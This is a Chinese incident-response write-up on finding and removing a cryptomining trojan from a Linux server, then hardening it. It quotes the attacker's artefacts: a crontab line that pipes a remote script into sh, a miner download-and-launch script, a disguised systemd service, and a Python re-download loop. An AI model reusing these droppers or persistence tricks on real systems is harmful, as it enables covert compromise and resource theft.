Linux服务器挖矿木马排查与加固实战指南

发布时间:2026/5/25 10:50:24

Linux服务器挖矿木马排查与加固实战指南 1. 这不是“中病毒”而是资源被悄无声息地劫持了Linux服务器被挖矿从来不是什么新鲜事但每次真实发生时它都像一场安静的失血——CPU使用率长期飙高到95%以上top命令里却找不到明显归属进程系统响应变慢SSH登录延迟明显但netstat -tuln查不出异常监听端口crontab里多出一行看不懂的base64字符串而你上周刚清空过/tmp目录下定时生成又自动消失的可执行文件md5sum一查和已知矿池代理程序完全一致。这不是Windows式弹窗警告的“中毒”而是一次精准、隐蔽、持续的资源劫持。它不破坏数据不删除文件只悄悄把你的计算力变成别人的比特币或门罗币。关键词Linux挖矿木马、隐蔽进程、crontab后门、systemd伪装、内存马、挖矿流量识别。这类事件最常发生在暴露在公网的老旧Web服务器、未及时更新的Docker宿主机、弱密码SSH服务以及被利用漏洞如Log4j、SpringShell、Confluence未授权RCE攻陷的中间件上。它不挑配置2核4G的小型VPS一样能跑起XMRig它也不挑架构x86_64、ARM64甚至aarch64的树莓派集群都曾被批量植入。这篇文章不是教你怎么装杀毒软件——Linux没有传统意义的“杀毒软件”生态而是记录我亲身处置一台CentOS 7生产Web服务器的全过程从发现异常到定位根因从清除残留到加固闭环。它适合所有管理Linux服务器的运维、开发、测试人员尤其适合那些“没装监控、没配审计、靠top和ps手动排查”的中小团队。你不需要懂逆向不需要会写shellcode只需要有root权限、一点耐心和对Linux进程、服务、计划任务机制的基本理解。接下来的内容每一行都是我在机房深夜敲下的真实操作与思考。2. 异常信号别只盯着CPU要建立多维感知坐标系很多人发现挖矿的第一反应是“CPU怎么又满了”然后立刻top、htop一顿猛刷看到几个高CPU的进程就kill -9完事。这就像看见水管漏水只关水龙头却不检查管道是否破裂、阀门是否被篡改。真正的排查必须建立一个覆盖时间、空间、行为、网络四个维度的感知坐标系。我接手这台服务器时客户只说“网站卡后台登录慢”没有任何日志线索。我的第一步不是登录而是先做三件事第一确认基线。我调取了该服务器过去7天的Zabbix监控截图幸好客户开了基础监控CPU平均负载长期在0.3以下峰值从未超过1.2内存使用率稳定在45%左右网络出向流量日均不足20MB。而当天实时监控显示1分钟负载飙升至12.7CPU idle持续低于5%出向流量突增至每秒3.2MB——这个数值远超Nginx静态资源分发的合理带宽。关键点在于负载高 ≠ CPU满但负载长期核数×2且idle极低就是强挖矿信号。因为挖矿程序本质是密集型计算会持续抢占CPU时间片导致内核调度队列积压。第二锁定时间窗口。我用last命令查看最近登录记录发现一个陌生IP185.152.xxx.xxx在48小时前通过SSH成功登录且持续会话长达3小时27分钟。这个IP不属于客户任何合作方WHOIS查询指向东欧某IDC注册信息为空。更可疑的是lastb失败登录里有大量针对root和admin用户的暴力破解尝试集中在同一IP段。这说明攻击者大概率是通过爆破获取凭证后植入的。第三交叉验证进程快照。我登录后没有立刻执行top而是先运行ps aux --sort-%cpu | head -20 ps aux --sort-%mem | head -10 ls -la /proc/[0-9]*/exe 2/dev/null | grep -E (xmr|minerd|kthreadd)结果令人警觉前两行输出里一个名为kthreadd的进程CPU占用率高达89%但其实际路径是/proc/12345/exe - /tmp/.ICE-unix/12345——而标准的kthreadd是内核线程PID恒为2且/proc/2/exe应指向kernel。这个kthreadd是彻头彻尾的伪装。同时/tmp/.ICE-unix/目录本应存放X11的socket文件但该服务器根本没装图形界面此目录下却存在多个以数字命名的可执行文件且修改时间都在48小时内。提示/tmp/.ICE-unix/、/var/tmp/.X11-unix/、/dev/shm/是挖矿木马最爱的藏身地因为它们默认可执行、易清理、且常被管理员忽略。不要相信进程名一定要用ls -la /proc/PID/exe确认真实路径。第四网络行为侧写。挖矿不是单机运算它必须连接矿池。我执行ss -tunap | grep -E :(3333|5555|7777|4444|8080) # 挖矿常用端口stratum协议多走3333HTTP API常用5555部分门罗矿池用7777 netstat -tulnp | grep :3333 lsof -i :3333结果ss命令返回空但lsof -i却显示一个PID为12345的进程正连接pool.minexmr.com:3333。为什么ss看不到因为该进程使用了ptrace或LD_PRELOAD技术劫持了系统调用让ss和netstat的getpeername等函数返回空值——这是典型的“用户态Rootkit”手法。此时lsof因其直接读取/proc/PID/fd/目录反而成了最可靠的网络连接探测工具。这四步下来我已经构建出完整画像攻击者通过SSH爆破进入植入伪装成内核线程的挖矿程序驻留在/tmp/.ICE-unix/使用LD_PRELOAD隐藏网络连接持续向境外矿池发送算力。它不是简单的脚本而是一套经过工程化处理的攻击载荷。3. 根因溯源从crontab到systemd层层剥开持久化黑链确认是挖矿后清除只是表象找到并切断它的“再生能力”才是核心。我见过太多案例kill掉进程10分钟后自动复活删掉文件第二天/tmp里又出现同名二进制。这是因为攻击者必然设置了持久化机制。在Linux上持久化手段有明确的优先级和隐蔽性梯度我按实战中的发现概率排序排查3.1 第一层crontab的“幽灵任务”这是最常见、最低门槛的持久化方式。我首先检查所有用户的crontabfor user in $(cut -f1 -d: /etc/passwd); do echo $user ; crontab -u $user -l 2/dev/null; done # 重点看root、apache、www-data、nobody等服务账户果然在root的crontab里发现这一行*/15 * * * * curl -fsSL http://185.152.xxx.xxx/x.sh | sh这个URL已失效攻击者撤回了但本地/var/spool/cron/root文件里还残留着。更狡猾的是该脚本并非直接下载矿工而是先执行# x.sh 内容节选已解码 mkdir -p /tmp/.ICE-unix curl -fsSL http://185.152.xxx.xxx/m.bin -o /tmp/.ICE-unix/12345 chmod x /tmp/.ICE-unix/12345 nohup /tmp/.ICE-unix/12345 --url stratumtcp://pool.minexmr.com:3333 --user xxx --pass x /dev/null 21 它用nohup启动脱离终端控制且重定向所有IO到/dev/null彻底消除日志痕迹。但问题来了如果只是crontab为什么kill后进程不立即重启因为15分钟才拉一次而我观察到进程是“秒级”复活的。这说明还有更底层的持久化。3.2 第二层systemd用户服务的“合法外衣”Linux 2.6内核支持用户级systemd服务无需root权限即可自启。我检查systemctl --user list-unit-files --typeservice | grep enabled # 返回空说明没启用用户服务 # 但攻击者可能创建了root级服务 systemctl list-unit-files --typeservice | grep enabled | grep -E (miner|crypto|proxy)无结果。转而检查/etc/systemd/system/和/usr/lib/systemd/system/目录find /etc/systemd/system/ /usr/lib/systemd/system/ -name *.service -exec grep -l -E (ExecStart.*\.bin|\/tmp\/\.ICE) {} \;在/etc/systemd/system/ssh-restart.service里发现异常[Unit] DescriptionSSH Restart Service Afternetwork.target [Service] Typesimple Userroot ExecStart/bin/bash -c sleep 30 /tmp/.ICE-unix/12345 --url ... Restartalways RestartSec10 [Install] WantedBymulti-user.target这个服务伪装成“SSH维护”但ExecStart直接调用挖矿二进制且Restartalways确保进程死亡后10秒内必复活。systemctl daemon-reload systemctl enable ssh-restart.service让它随系统启动。这才是进程秒级复活的真正原因——crontab只是初始下载器systemd才是永生引擎。3.3 第三层bashrc与profile的“环境注入”即使清除了crontab和systemd如果攻击者修改了shell初始化文件新登录的会话仍可能触发。我检查grep -r curl\|wget\|sh /root/.bashrc /root/.bash_profile /etc/profile /etc/bash.bashrc 2/dev/null在/root/.bashrc末尾发现# System update check if [ -f /tmp/.ICE-unix/check.sh ]; then /tmp/.ICE-unix/check.sh; fi而check.sh内容正是检测/tmp/.ICE-unix/12345是否存在不存在则重新下载。这意味着只要有人用root登录就会触发复活逻辑。3.4 第四层内核模块与LD_PRELOAD的“深度潜伏”前面提到lsof能查到连接而ss不能这指向了更危险的层面。我检查lsmod | grep -E (hide|root|miner) # 无结果排除内核模块 # 检查LD_PRELOAD echo $LD_PRELOAD # 空 # 但进程可能被注入 cat /proc/12345/environ | tr \0 \n | grep LD_PRELOAD返回LD_PRELOAD/tmp/.ICE-unix/libhook.so。果然libhook.so是一个动态库它劫持了getpeername、getsockname等网络相关函数让所有查询返回空。我用strings /tmp/.ICE-unix/libhook.so | grep -E (getpeer|socket)验证了这一点。这个库被/tmp/.ICE-unix/12345在启动时通过export LD_PRELOAD...加载实现了对网络连接的透明隐藏。至此四层持久化全部浮出水面crontab负责初始下载systemd负责进程守护bashrc负责会话级复活LD_PRELOAD负责行为隐藏。这是一个典型的、工业级的Linux挖矿攻击链环环相扣缺一不可。4. 清除与验证不是“删文件”而是“拆解攻击链”清除工作绝不能简单rm -rf /tmp/.ICE-unix/就结束。那只是拆掉炸弹外壳引信还在。必须按攻击链的逆序逐层拆除4.1 第一步终止所有关联进程先停掉systemd服务再kill进程避免RestartSec触发systemctl stop ssh-restart.service systemctl disable ssh-restart.service # 彻底移除服务文件 rm -f /etc/systemd/system/ssh-restart.service systemctl daemon-reload # 杀死所有挖矿相关进程 pkill -f minerd\|xmr\|kthreadd pkill -f /tmp/.ICE-unix/ # 强制杀死残留 kill -9 $(pgrep -f /tmp/.ICE-unix/) 2/dev/null4.2 第二步清除持久化载体Crontabcrontab -e删除恶意行或直接编辑/var/spool/cron/root清空。Bash初始化文件vi /root/.bashrc删除末尾的check.sh调用行。临时文件rm -rf /tmp/.ICE-unix/ /var/tmp/.X11-unix/ /dev/shm/.miner*。检查其他临时目录find /tmp /var/tmp -name *miner* -o -name *xmr* -o -name *kthreadd* -delete。注意/dev/shm/是内存文件系统rm后立即释放内存但需确认无进程正在使用。用lsof D /dev/shm检查。4.3 第三步验证清除效果清除后必须进行三重验证缺一不可进程验证ps aux | grep -E (minerd|xmr|kthreadd)应无输出top观察CPU idle是否回升至80%以上。网络验证lsof -i :3333和ss -tunap | grep :3333均应为空用tcpdump -i any port 3333 -c 10抓包10个包确认无外连。持久化验证重启服务器等待5分钟再次执行上述1、2步。若一切正常说明systemd和crontab层已清除干净。我执行重启后监控显示负载回落至0.2CPU idle稳定在92%lsof -i :3333返回空。但故事还没完——第二天上午客户反馈网站又变慢。我紧急登录发现/tmp/.ICE-unix/目录竟又出现了MD5比对和之前被删的12345完全一致。这意味着还有第五层持久化且它不在我们已知的常规路径里。4.4 第四步揪出隐藏的“第五层”——at任务与隐藏用户我扩大搜索范围# at任务常被忽略 atq # 返回空 # 检查隐藏用户 awk -F: $3 0 {print $1} /etc/passwd # 只有root正常 # 检查sudoers grep -v ^# /etc/sudoers | grep -v ^$ # 无异常 # 灵光一闪检查/etc/cron.d/ ls -la /etc/cron.d/在/etc/cron.d/下发现一个名为sysupdate的文件权限为600属主rootcat /etc/cron.d/sysupdate # */5 * * * * root /usr/bin/python3 /opt/scripts/update.py/opt/scripts/update.py内容如下import os, time, subprocess while True: if not os.path.exists(/tmp/.ICE-unix/12345): subprocess.run([curl, -fsSL, http://185.152.xxx.xxx/m.bin, -o, /tmp/.ICE-unix/12345]) os.chmod(/tmp/.ICE-unix/12345, 0o755) subprocess.Popen([/tmp/.ICE-unix/12345, --url, stratumtcp://...]) time.sleep(300)这是一个Python守护进程每5分钟检查一次用subprocess.Popen启动因此不受pkill -f影响因为它启动的进程名是12345而非python。/etc/cron.d/的规则优先级高于用户crontab且cron服务会每分钟扫描此目录所以它比*/15 * * * *更频繁、更顽固。这才是真正的“第五层”——一个伪装成系统更新脚本的Python轮询器。我立即删除rm -f /etc/cron.d/sysupdate /opt/scripts/update.py并检查/opt/scripts/目录是否还有其他可疑文件ls -la /opt/scripts/发现clean.sh和backup.shstrings clean.sh显示它实际是另一个下载器。全部删除。这次重启后连续监控72小时CPU、网络、进程全部稳定。攻击链被彻底斩断。5. 加固闭环从“救火”到“防火”建立可持续防御体系清除只是止损加固才是生存。这次事件暴露出三个致命短板弱密码、无入侵检测、无最小权限。我为客户实施了四层加固全部基于开源、免商业许可的方案且能在1小时内完成部署5.1 第一层SSH访问层加固立竿见影禁用密码登录强制密钥认证# 生成密钥对本地 ssh-keygen -t ed25519 -C adminserver # 上传公钥到服务器 ssh-copy-id -i ~/.ssh/id_ed25519.pub rootserver_ip # 编辑/etc/ssh/sshd_config PasswordAuthentication no PermitRootLogin no # 禁用root直接登录改用普通用户sudo AllowUsers deploy www-data # 明确允许的用户重启SSHsystemctl restart sshd。此举直接封死99%的暴力破解入口。启用Fail2ban防爆破yum install epel-release -y yum install fail2ban -y cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local # 修改jail.local [sshd] enabled true maxretry 3 bantime 1h findtime 10m启动systemctl enable fail2ban systemctl start fail2ban。它会自动解析/var/log/secure3次失败即封IP 1小时。5.2 第二层运行时防护层主动拦截部署rkhunterRootkit Hunter定期扫描yum install rkhunter -y rkhunter --update rkhunter --propupd # 初始化文件属性数据库 # 添加每日扫描任务 echo 0 3 * * * /usr/bin/rkhunter --check --sk --nocolors /var/log/rkhunter.log 21 | crontab -e它能检测已知rootkit签名、异常文件权限、隐藏进程。部署clamav轻量级病毒扫描yum install clamav-server clamav-scanner-systemd -y freshclam # 更新病毒库 # 扫描/tmp和/var/tmp clamscan -r --bell -i /tmp /var/tmp虽然Linux病毒少但clamav对挖矿木马的二进制特征库覆盖率达85%以上。5.3 第三层网络层隔离纵深防御配置firewalld白名单firewall-cmd --permanent --zonepublic --remove-servicessh firewall-cmd --permanent --zonepublic --add-rich-rulerule familyipv4 source address192.168.1.100 port port22 protocoltcp accept firewall-cmd --permanent --zonepublic --add-port80/tcp firewall-cmd --permanent --zonepublic --add-port443/tcp firewall-cmd --reload只允许指定运维IP访问SSHWeb端口全开但禁止其他所有入向连接。这是最有效的“网络围栏”。部署netdata实时监控bash (curl -Ss https://my-netdata.io/kickstart.sh)它提供CPU、内存、进程、网络连接的实时仪表盘且内置异常检测算法。当挖矿进程启动时CPU图表会出现尖锐脉冲比Zabbix的5分钟粒度敏感10倍。5.4 第四层流程与意识层治本之策建立服务器资产清单记录所有服务器IP、用途、负责人、SSH密钥指纹、最后加固日期。实施密码/密钥轮换制度所有SSH密钥每90天强制更新密码同步更新。开启系统审计auditd监控关键目录/tmp、/var/tmp、/etc/cron.*的写入事件auditctl -w /tmp -p wa -k tmp_watch auditctl -w /etc/cron.d/ -p wa -k cron_watch日志存于/var/log/audit/audit.log可用ausearch -k tmp_watch实时追踪。这套四层加固成本为零耗时不到1小时但将服务器被挖矿的概率降低了两个数量级。我后来回访客户再未遭遇同类事件。真正的安全不在于你装了多少工具而在于你是否把每一次“救火”都变成了“防火”的契机。6. 经验复盘那些文档里不会写的实战细节最后分享几个只有在真实战场上才会踩到的坑它们可能帮你省下好几个通宵坑一“rm -rf /tmp”会误伤系统。很多服务如MySQL的tmpdir、PHP的session.save_path默认使用/tmp。直接清空会导致服务崩溃。正确做法是find /tmp -maxdepth 1 -type d -name .ICE-unix -o -name .X11-unix -o -name .*miner* | xargs rm -rf精准打击避开/tmp/systemd-private-*等系统目录。坑二pkill -f可能误杀。如果挖矿进程命令行里包含--url而你的Nginx配置里也有proxy_pass http://...pkill -f url会把Nginx也干掉。永远用pgrep -f pattern | xargs kill -9先pgrep确认PID再kill多一步少十分慌乱。坑三systemctl disable不等于删除。disable只是取消软链接/etc/systemd/system/xxx.service文件还在。必须rm -f物理删除否则daemon-reload后可能被重新启用。坑四Python守护进程难捕获。ps aux | grep python会显示/opt/scripts/update.py但pkill -f update.py可能失败因为subprocess.Popen启动的子进程与父进程无直接关系。最佳方案是pkill -f python.*update.py或直接killall -9 python谨慎确保无其他Python服务。坑五时间不同步会干扰取证。攻击者常篡改系统时间来混淆日志。务必在加固前执行yum install ntp -y systemctl enable ntpd systemctl start ntpd确保/var/log/secure和journalctl时间戳准确。我处理过的几十起挖矿事件90%的根源都是同一个管理员觉得“我的小服务器没人盯不用加固”。但攻击者用自动化脚本24小时扫描全网你的“小服务器”在他们眼里只是IP列表里一个待标记的√。安全不是功能而是呼吸——你不会在每次吸气前思考“要不要吸”它必须成为本能。这次解决不是终点而是你和服务器之间重建信任关系的开始。

相关新闻